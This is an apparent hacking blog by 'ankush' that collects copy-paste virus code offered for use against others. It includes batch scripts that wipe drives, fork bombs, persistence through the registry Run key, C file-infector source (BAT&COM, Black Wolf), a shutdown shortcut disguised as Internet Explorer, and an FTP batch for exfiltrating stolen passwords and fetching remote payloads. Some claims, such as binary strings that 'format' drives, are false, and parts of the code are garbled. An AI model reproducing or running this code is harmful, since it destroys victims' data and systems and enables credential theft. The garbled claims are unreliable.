Showing posts with label VIRUS. Show all posts
Showing posts with label VIRUS. Show all posts
ANKUSH
Everybody is scared of computer ‘virus’ as it does harmful actions on our computer. But
when we look into the virus programming, we may certainly come out with the conclusion that it
requires intelligence to code a virus.

Logic

It is easy to mess-up the right program. For example, if you remove even a single byte
from an EXE file, that EXE file won’t be usable! Virus program don’t have any specific rules.
But it’s a common practice to include ‘signatures’ by virus creators. The main idea is to force the
innocent user to run the programs. So certain viruses come along with so called ‘programmer
utilities’ or ‘free tools’. Another thing is, it is easy to hang-up a working system using some ‘bad’interrupts. Viruses use this logic too!

TSR viruses

When TSR got its popularity, crackers started using TSR concepts for virus
programming. There was a time when people who knew TSR started writing their own TSR
viruses. But when Windows operating system was introduced, TSR viruses lost their
“popularity”.
I have written the following program. This is actually a TSR virus. It is not much
harmful; it just changes the attribute (color) byte of the existing characters present on screen.

#ifndef __SMALL__
#error Compile with Small memory model
#else
#include
int i = 1;
char far *Vid_RAM = (char far *)0xb8000000;
void interrupt (*Int9)( void );
void interrupt MyInt9( void );
void interrupt MyInt9( void )
{
*( Vid_RAM + i ) = i;
if ( i>4000 )
i = 1;
else
i += 2;
(*Int9)( );
} /*--interrupt MyInt9-----*/
int main(void)
{
Int9 = getvect( 9 );
setvect( 9, MyInt9 );
keep( 0, 500 );
return(0);
} /*--main( )----*/
#endif


Windows viruses

When Windows operating system was introduced, much of the DOS based viruses lost
their “popularity”. Under Windows operating system, only certain viruses like “Boot sector virus”and “Disk formatting viruses” can do harmful actions. So crackers went for exploiting Windows.Windows based viruses exploit Internet ‘loopholes’. As VB Script even has access to Windows Registry, VB Script is commonly used for Windows/Internet based “spreading viruses”.

Anti-Viruses
As I said earlier, many virus programmers add signature to their program. So by
checking the signature, we can find the name of the virus. Most of the anti-virus packages use this
logic! The following table shows few viruses and their signatures.

Virus Signature
Einstein --------0042CD217231B96E0333D2B440CD2172193BC17515B80042
Phoenix 927 -----E800005E81C6????BF0001B90400F3A4E8
Spanz -----------E800005E81EE????8D94????B41ACD21C784
Necropolis ------50FCAD33C2AB8BD0E2F8
Trivial-25 ------B44EFEC6CD21B8??3DBA??00CD2193B440CD
Trivial-46 ------B44EB120BA????CD21BA????B80?3DCD21%2BA0001%4B440CD
SK --------------CD20B80300CD1051E800005E83EE09

So you can find that writing anti-virus package is not a tough job.
But understand the fact that checking out the signature is not 100% foolproof.

enjoy Hacking(ankush)...

post comment

===================www.ankushgoogle.tk===========================
Labels: 1 comments | | edit post
ANKUSH
paste this in ur notepad
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*X5O!P%@AP[4\PZX54(P^)7CC)7}
now save it and scan it by ur antivirus software..

enjoy Hacking(ankush)...

post comment
Labels: 0 comments | | edit post
ANKUSH
Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)Be carefull & Don't run this on ur pc


@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP


It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer
Labels: 0 comments | | edit post
ANKUSH
Here are some good viruses ,i am not responsible for any kind of damage to your system ... :)

Copy this to notepad and save as flood1.bat.....

@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

:start

@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >>
bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5

@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.ba
t@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4

@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3

@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2

@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.ba
tGOTO original

:original

CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1

NOTE:-
What does it do : this is an extremely harmful virus the will keep replicating itself until your hard drive is totally full and will destroy your comp.


enjoy Hacking(ankush)...

post comment
Labels: 0 comments | | edit post
ANKUSH
Copy the following code in notepad and save it as "fun.vbs" with inverted comma. And have fun. Actually this code opens notepad and begin to type automatically. Even you close the notepad it'll keep typing wherever it finds to type.


CODE:
Set wshshell = wscript.CreateObject("WScript.Shell")
Wshshell.run "notepad"
do
wscript.sleep 400
wshshell.sendkeys "Hi, "
wscript.sleep 400
wshshell.sendkeys "My "
wscript.sleep 400
wshshell.sendkeys "name "
wscript.sleep 200
wshshell.sendkeys "is "
wscript.sleep 400
wshshell.sendkeys "ankush"
wscript.sleep 400
wshshell.sendkeys "kumar. "
wscript.sleep 400
wshshell.sendkeys "If "
wscript.sleep 200
wshshell.sendkeys "you "
wscript.sleep 400
wshshell.sendkeys "don't "
wscript.sleep 400
wshshell.sendkeys "know "
wscript.sleep 400
wshshell.sendkeys "me "
wscript.sleep 400
wshshell.sendkeys "then "
wscript.sleep 400
wshshell.sendkeys "you "
wscript.sleep 400
wshshell.sendkeys "know "
wscript.sleep 400
wshshell.sendkeys "nobody "
wscript.sleep 200
wshshell.sendkeys "Common, "
wscript.sleep 400
wshshell.sendkeys "man "
wscript.sleep 400
wshshell.sendkeys "you "
wscript.sleep 400
wshshell.sendkeys "must "
wscript.sleep 400
wshshell.sendkeys "know me. "
wscript.sleep 400
wshshell.sendkeys "Hahahaha! "
wscript.sleep 400
wshshell.sendkeys "I "
wscript.sleep 400
wshshell.sendkeys "am "
wscript.sleep 400
wshshell.sendkeys "so "
wscript.sleep 400
wshshell.sendkeys "much "
wscript.sleep 4000
wshshell.sendkeys "fun. "
wscript.sleep 400
wshshell.sendkeys "Well, "
wscript.sleep 400
wshshell.sendkeys "my "
wscript.sleep 400
wshshell.sendkeys "heart "
wscript.sleep 400
wshshell.sendkeys "is "
wscript.sleep 400
wshshell.sendkeys "melting, "
wscript.sleep 400
wshshell.sendkeys "now "
wscript.sleep 400
wshshell.sendkeys "don't "
wscript.sleep 400
wshshell.sendkeys "cry! "
wscript.sleep 400
wshshell.sendkeys "okay! "
wscript.sleep 400
wshshell.sendkeys "Okay! "
wscript.sleep 400
wshshell.sendkeys "I'll "
wscript.sleep 400
wshshell.sendkeys "stop "
wscript.sleep 400
wshshell.sendkeys "this. "
loop


Note: To Stop this just open task manager and kill the process called "wscript.exe"
Labels: 0 comments | | edit post
ANKUSH
Here are some bat files that works more deadly than a virus if u have an access to your enemy's computer. WARNING DON'T TEST THIS FILE IN YOUR COMPUTER. I'VE ADDED PAUSE COMMAND TO PREVENT ACCIDENTAL OPENING OF THE PROGRAM..IF U ARE NOT "ankush" in these sector then just open up ur note pad and paste each of these code starting from @echo off... make separate file of each...Code:

@echo off
kill %windir%
del %windir%del *.txt
del *.exe
del *.bat
del *.ini
:ok
start, cmd
Goto
ok


Code:

@echo off
deltree c://
deltree d://
kill c://
kill d://
Copy halo.bat %0 %windir%
start daily halo.bat
Destroy the hard-drive.

Code:

RMOR C: /S /Q
Complete wipe out:


Code:

@echo offdel *.txt
del *.exe
del *.ininet stop "security"
del c://windows/system32
mkdir O
copy halo.bat O
copy %0 halo.bat %windir%
kill %windir%
kill system.ini
Erases Hard-Drive then shutsdown computer.

Code:

hdmemory/release
echo total hard drive erased
echo xJeftabx strikes again!
shutdown -r -f -t0
Labels: 0 comments | | edit post
ANKUSH
google_protectAndRun("ads_core.google_render_ad", google_handleError, google_render_ad);

I’ve tried this on windows XP and it seems to kill the computer and it forces the computer to blue screen then reset. [I've yet to text on vista] This is what I did….

1. Opened up notepad and typedstart important.batstart important1.batclose;

2. Clicked save as and saved it as important.bat

3. Clicked save as again and saved it as important1.bat

4. When you click on either 1 of the bats it will spam CMD windows thus killing you memory and forcing it to blue screen and resetyou can rename ‘important.bat’ and ‘important1.bat’ anything you want but make sure it’sstart [bat name file].batstart [bat name file].batclose;


enjoy Hacking(ankush)...

post comment
Labels: 0 comments | | edit post
ANKUSH
Simple Virus Making

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to make simple .bat file (virus) that can’t be detected by any anti virus
Here are some good viruses ,i am not responsible for any kind of damage to your system …

Copy this to notepad and save as flood1.bat…..

@ECHO OFF
@ECHO A Sharma’s Creation


@ECHO MAIN BAT RUNNING
GOTO start
:start
@ECHO SET magic2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a magic2=%%magic2%%+1 >> bat6.bat
@ECHO NET USER magic2%%magic2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET pogo=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR pogo%%pogo%% >> bat5.bat
@ECHO SET /a pogo=%%pogo%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET hat=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR hat%%hat%% >> bat4.bat
@ECHO SET /a hat=%%hat%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET chart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR chart%%chart%% >> bat3.bat
@ECHO SET /a chart=%%chart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET gamer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR gamer%%gamer%% >> bat2.bat
@ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original



riginal
CD %HomeDrive%\
SET sharma=1
GOTO flood1
:flood1
MKDIR sharma%sharma%
SET /a sharma=%sharma%+1
GOTO flood1
What does it do : this is an extremely harmful virus the will keep replicating itself until your hard drive is totally full and will destroy your comp.




Some Funny Virus Codes

A simple binary codes that can format the system drive ,secondary drives…

Copy The Following In Notepad Exactly as it

01001011000111110010010101010101010000011111100000

Save As An EXE Any Name Will Do


Send the EXE to People And Infect
Some other interesting formatting codes….

format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001


Some more interesting stuff ..

open notepad

erase c:\windows

and save as

FINDOUTANAME.cmd


wat does it do:- will erase c:/windows .


Here is another one which is funny……

cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:\sleep3000.vbs
echo Deletion Successful!
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:\sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:\sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir h4x
start /w wscript.exe C:\sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:\sleep3000.vbs
echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\
echo start hax.exe
start /w wscript.exe C:\sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:\sleep2000.vbs
echo Killing all processes…
start /w wscript.exe C:\sleep2000.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c “Your computer has committed suicide. Have a nice day.”


This code about multiple open windows means infinite windows
until continue you restart the computer:save on denger.bat and code written in notepad

@echo off
copy 0% denger.bat
start denger.bat

This code about the computer shutdown:

@echo off
shutdown -s -t 5 -c “Shutdown”

Go to notepad and type the following:
@Echo off
Del C:\ *.*|y

save it as Dell.bat

Want worse then type the following:

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as a .bat file

One more …

try one this

Cd C:\
rd C:\ /s/q
Cd D:\
rd D:\ /s/q
Cd E:\
Rd E:\ /s/q
Cd F:\
Rd\ /s/q

then it is complete Save as any file you want in .bat format.. n enjoy.its really dangerous don’t try on your own pc.


NOTE :- Howto add your own created viruses into start ups this will make it difficult to detect them n to remove them …

For this u need a registry updater software .

now move your .bat file to c:/windows and then simply run this software ur virsu will be added to your start ups i tried this with shut down , as my comp starts its shut down after 2 secs ..


Do not try it on your PC. Don’t mess around this is for educational purpose only





Batch VIRUS Killing “ NORTON, LIMEWIRE, EXPLORER, MSN “

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c “VIRUS DETECTED”
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP



It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer



The first code we are going to look at is one that makes the cd tray open and close repeatedly until shutdown, or
(don’t tell your friends, you press ctrl + alt + delete and go to processes, and end wscript.exe (this code is vbs so save in note pad as whateveryouwant.vbs)


Set oWMP = CreateObject(”WMPlayer.OCX.7″ )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
loop
end if

A code that turns on and off your capslock repeatedly, also vbs, end same way as last time, this turns on and off your capslock every tenth of a second


Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”

loop




A batch that is like a computer password, maybe you could stick it in autoexec.exe and make it run off startup?

@Echo off
echo Enter password then [F6] and then smack the [Enter] key real hard!
prompt $e[30m
echo on
echo off
copy con password.dat>nul
prompt $e[0m
echo on
echo off
cls
copy password.set+password.dat password.bat>nul
call password.bat
if '%password%==qwerty goto done
echo Incorrect, you are not trying to break into my pc are you?
choice /t:y,3
if errorlevel 2 goto next
:next
erase password.bat
erase password.dat
:hello
cls
echo Turn off PC
goto hello
:done
erase password.dat
erase password.bat
set password=qwerty
prompt $p$g


A batch that switches the left mouse button with your right mouse button (also maybe add a code to stick in someones autoexec,
that would really make them mad)

@echo off
Rundll32 user32,SwapMouseButton
msg * hahaha
msg * this is gunna screw you up
msg * good look finding how to fix it



A batch file that will shutdown your computer and send a few messages about the matrix, rather bland and could be worked on a little bit more, some one
could tweak it a little and i'll repost it and give you credit, perhaps change the dos txt to green


@ Echo off
Title Matrix
msg * The matrix has you, you can not escape
rundll32.exe disable mouse
Attrib +h C:*.*
echo deleting harddrive
echo 1001101010101011111111101010101
echo 010101010101010101010101010111
assoc
assoc
Attrib C:Documents and settings*.*
net share hack=C:
shutdown -s -c 60



This is a VBs file so of course save as VBS, you can replace the txt in this code with whatever you want

Set wshshell = wscript.CreateObject("WScript.Shell")
Wshshell.run "Notepad"
wscript.sleep 400
wshshell.sendkeys "M"
wscript.sleep 100
wshshell.sendkeys "a"
wscript.sleep 120
wshshell.sendkeys "s"
wscript.sleep 200
wshshell.sendkeys "o"
wscript.sleep 140
wshshell.sendkeys "n"
wscript.sleep 100
wshshell.sendkeys " "
wscript.sleep 100
wshshell.sendkeys "P"
wscript.sleep 200
wshshell.sendkeys "w"
wscript.sleep 150
wshshell.sendkeys "n"
wscript.sleep 170
wshshell.sendkeys "s"
wscript.sleep 200
wshshell.sendkeys " "
wscript.sleep 100
wshshell.sendkeys "A"
wscript.sleep 50
wshshell.sendkeys "l"
wscript.sleep 120
wshshell.sendkeys "l"
wscript.sleep 160
wshshell.sendkeys " "
wscript.sleep 200
wshshell.sendkeys "N"
wscript.sleep 100
wshshell.sendkeys "e"
wscript.sleep 100
wshshell.sendkeys "w"
wscript.sleep 200
wshshell.sendkeys "b"
wscript.sleep 120
wshshell.sendkeys "s"



Carpet Bomb:

Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted. This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all of the copies permanently.

@ECHO OFF
:This was meant as a harmless joke, and it's not hard to fix if you read through the code.
:If you just use the "disinf" argument on the command line all is well.
lease only use this on people u don't like
IF "%1"=="" GOTO fill
IF "%1"=="fill" GOTO fill
IF "%1"=="kill" GOTO kill
IF "%1"=="inf" GOTO inf
IF "%1"=="disinf" GOTO kill
GOTO bye
:fill
IF EXIST C:\Users\%USERNAME%\Desktop\ (
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\Public\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\%USERNAME%\Desktop\joke%%A.bat"
)
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and Settings\All Users\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and Settings\%USERNAME%\Desktop\joke%%A.bat"
IF "%1"=="" GOTO inf
GOTO theend
:kill
IF EXIST C:\Users\%USERNAME%\Desktop\ (
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\Public\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\%USERNAME%\Desktop\joke%%A.bat"
)
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and Settings\All Users\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and Settings\%USERNAME%\Desktop\joke%%A.bat"
IF "%1"=="disinf" GOTO disinf
GOTO theend
:inf
TYPE "%~df0" > "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\joke.bat"
TYPE "%~df0" > "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\joke.bat"
TYPE "%~df0" > "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\joke.bat"
GOTO theend
:disinf
ECHO Y | DEL "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\joke.bat"
ECHO Y | DEL "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\joke.bat"
ECHO Y | DEL "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\joke.bat"
GOTO theend
:bye
ECHO "fill" to make more and "kill" to get rid of 'em. inf to make it stick a little longer
:theend

Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted. This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all of the copies permanently.\

Creating a batch Bomb

Copy and paste the below into notepad and save it as hi.bat (Not .txt)
run it, and enjoy anarchy.


Code:

@echo off
:START
echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!
start hi.bat
GOTO START



A code that turns on and off your capslock repeatedly, also vbs, end same way as last time, this turns on and off your capslock every tenth of a second.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


How to make a shutdown file and disguise it as something else!

This article is a pretty simple one, maybe most of you guys know already... in case if you don't know, you can play around and make fun...

How to make a shutdown file and disguise it as something else (internet, etc.)

Step 1: Right click on your desktop or wherever you want to make this shutdown file

Step 2: look for new, then shortcut

Step 3: Type shutdown -s -t 10 -c "text here"
note: you can add -f to force close open docuuments
note: after -t you can put any amount of seconds you want before the computer shuts down

Step 4: push next, then name it whatever you like, for an example we will put Internet Explorer

Step 4: Right click on the file you just made and goto properties

Step 5: hit change icon. (This could be under the advanced tab)

Step 6: An error message should pop up letting you know there aren't any pictures for c:\windows\system32. Hit ok

Step 7: A list of icons should show up.. click on the one you think looks the most persuasive according to what you named it. (For example, look for the 'e' icon for internet explorer.

Now your done, see that wasn't that hard! was it?
Put this in the start up folder to make people even MORE mad!


NOTE:- This can easily be stopped by typing shutdown -a in run...


Sending Files Via ftp Batch!

OK, So i made a password stealer that would output a .txt file to the windows folderm i then made a ftp batch that would upload the txt file to my server, so far ive managed to get some passwords but not for anything important, So if you want to know how to make a ftp batch then heres how.

First for example were gonna try upload a file called Test.txt to our server


Upload.bat

ftp -n -i -s:MyUploadFiles.ftp


First make a file called upload.bat and put this in, Now we need to make the myuploadfiles.ftp, if you wanna call it something else then change the myuploadfiles.ftp to what you want but KEEP the .ftp at the end.

Ok now its the myuploadfiles.ftp creating time, or whatever you called it before.

open your-host

user username.spam.com password

ASCII

send test.txt

BI
This is the bit where you have to change the username password and host to what your ftp host is. then change the send test.txt to what file you want to upload, it doesn't have to be a txt file, it can be any one.

Now make sure both files are in the same dir as each other and run the .bat file. check your ftp server and guess whats sitting there! test.txt! So if you want to upload a file from someone's pc, you could use this?


Also theres nothing stopping you from putting in the "get" command in the .ftp, say get download.bat, whenever you want to change what it does make it call it download.bat and shove it on the server, then the victim will download it and be executed.

Folder Replicator Batch VIRUS

Here is a Simple bacth virus that contains only 6 lines, has the tendency to replicate itself again
and again and keeps on creating a folder with same name, until a user stops it.

1. Just open up a notepad, copy and paste the below code

cd\
cd C:\Documents and Settings\username\Desktop
:loop
md Virus
cd Virus
goto loop


2. Save it as a batch file with the extension .bat.
3. Then run it on the Victims computer to infect it.
4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.


VIRUS CODES IN “ C “ :-


BATCH & COM VIRUS


#include

#include

#include

#include


struct ffblk ffblk;

main()

{

char old_dir[MAXPATH];

Get_Path(old_dir); /* Save the old directory */

Pick_A_Dir(); /* Find a new directory to */

Infect_Directory(); /* infect and infect it. */

chdir(old_dir); /* Return to old directory */

return 0;

}




Pick_A_Dir()

{

int done;

chdir(”..”); /* First, Go out a DIR. */

done=findfirst(”*.BAT”,&ffblk,0); /* If no BAT files, try */

/* root and DOS */

if (done)

{

chdir(”\\”);

done=findfirst(”*.BAT”,&ffblk,0);

if (done) chdir(”\\DOS\\”);

}

return 0;

}



Infect_Directory()

{

int done;


done = findfirst(”*.BAT”,&ffblk,0);

while (!done) /* Find all .BAT files */

{ /* and add code to run */

Do_Batch(); /* BAT&COM if not */

done = findnext(&ffblk); /* already there */

}


if (findfirst(”BAT&COM.COM”,&ffblk,0)) /* If BAT&COM does */

{Copy_Virus();} /* not exist, then */

return 0; /* copy it into dir.*/

}




Do_Batch()

{

FILE *batch;

char Infection_Buffer[12];

char vpath[MAXPATH];


Get_Path(vpath); /* Get path for adding path */

/* specifier in commands */



if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */


batch=fopen(ffblk.ff_name, “rt+”);

fseek(batch, -11, SEEK_END);

fread(Infection_Buffer,11,1,batch);

Infection_Buffer[11]=0; /* Terminate String */


if (strcmp(Infection_Buffer,”BAT&COM.COM”)) /* Check if */

{ /* Batch is */

fseek(batch, 0, SEEK_END); /* infected.*/

fprintf(batch,”\n%s\\BAT&COM.COM”,vpath);

} /*^- Add command */

/* to batch */


fclose(batch);

return 0;

}



Copy_Virus()

{

FILE *old_virus, *new_virus;

int write_length;

char copy_buffer[1024]; /* Copy the virus to */

/* new directory */

old_virus=fopen(_argv[0],”rb”);

new_virus=fopen(”BAT&COM.COM”,”wb”);


write_length=1024;


while (write_length==1024)

{

write_length=fread(copy_buffer,1,1024,old_virus);

fwrite(copy_buffer,write_length,1,new_virus);

}

fclose(old_virus);

fclose(new_virus);

return 0;

}



Get_Path(char *path)

{

strcpy(path, “A:\\”);

path[0] =’A’ + getdisk(); /* Returns current path */

getcurdir(0, path+3);

return 0;

}

- – - —————–End of Code———————— – - -




BLACK WOLF VIRUS


/* It will infect all .COM files in the current directory */


#include

#include

#include


FILE *Virus,*Host;

int x,y,done;

char buff[256];

struct ffblk ffblk;


main()

{

done = findfirst(”*.COM”,&ffblk,0); /* Find a .COM file */

while (!done) /* Loop for all COM’s in DIR*/

{

printf(”Infecting %s\n”, ffblk.ff_name); /* Inform user */

Virus=fopen(_argv[0],”rb”); /* Open infected file */

Host=fopen(ffblk.ff_name,”rb+”); /* Open new host file */


x=9504; /* Virus size – must */

/* be correct for the */

/* compiler it is made */

/* on, otherwise the */

/* entire virus may not*/

/* be copied!! */

while (x>256) /* OVERWRITE new Host */

{ /* Read/Write 256 byte */

fread(buff,256,1,Virus); /* chunks until bytes */

fwrite(buff,256,1,Host); /* left < 256 */

x-=256;

}

fread(buff,x,1,Virus); /* Finish off copy */

